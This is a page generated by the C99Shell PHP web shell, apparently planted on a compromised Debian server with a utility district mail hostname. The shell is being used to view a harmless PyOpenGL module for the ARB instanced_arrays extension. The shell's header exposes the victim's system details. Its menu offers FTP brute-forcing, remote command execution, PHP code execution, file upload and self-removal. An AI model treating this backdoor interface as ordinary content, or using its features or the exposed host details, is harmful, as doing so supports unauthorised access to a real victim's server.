!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/OpenGL/GL/ARB/   drwxr-xr-x
Free 129.84 GB of 142.11 GB (91.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     instanced_arrays.py (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'''OpenGL extension ARB.instanced_arrays

This module customises the behaviour of the 
OpenGL.raw.GL.ARB.instanced_arrays to provide a more 
Python-friendly API

Overview (from the spec)
    
    A common use case in GL for some applications is to be able to
    draw the same object, or groups of similar objects that share
    vertex data, primitive count and type, multiple times.  This 
    extension provides a means of accelerating such use cases while 
    restricting the number of API calls, and keeping the amount of 
    duplicate data to a minimum.
    
    In particular, this extension specifies an alternative to the 
    read-only shader variable introduced by ARB_draw_instanced.  It
    uses the same draw calls introduced by that extension, but 
    redefines them so that a vertex shader can instead use vertex 
    array attributes as a source of instance data.
    
    This extension introduces an array "divisor" for generic
    vertex array attributes, which when non-zero specifies that the
    attribute is "instanced."  An instanced attribute does not
    advance per-vertex as usual, but rather after every <divisor>
    conceptual draw calls.
    
    (Attributes which aren't instanced are repeated in their entirety
    for every conceptual draw call.)
    
    By specifying transform data in an instanced attribute or series
    of instanced attributes, vertex shaders can, in concert with the 
    instancing draw calls, draw multiple instances of an object with 
    one draw call.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/ARB/instanced_arrays.txt
'''
from OpenGL import platform, constants, constant, arrays
from OpenGL import extensions, wrapper
from OpenGL.GL import glget
import ctypes
from OpenGL.raw.GL.ARB.instanced_arrays import *
### END AUTOGENERATED SECTION

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0085 ]--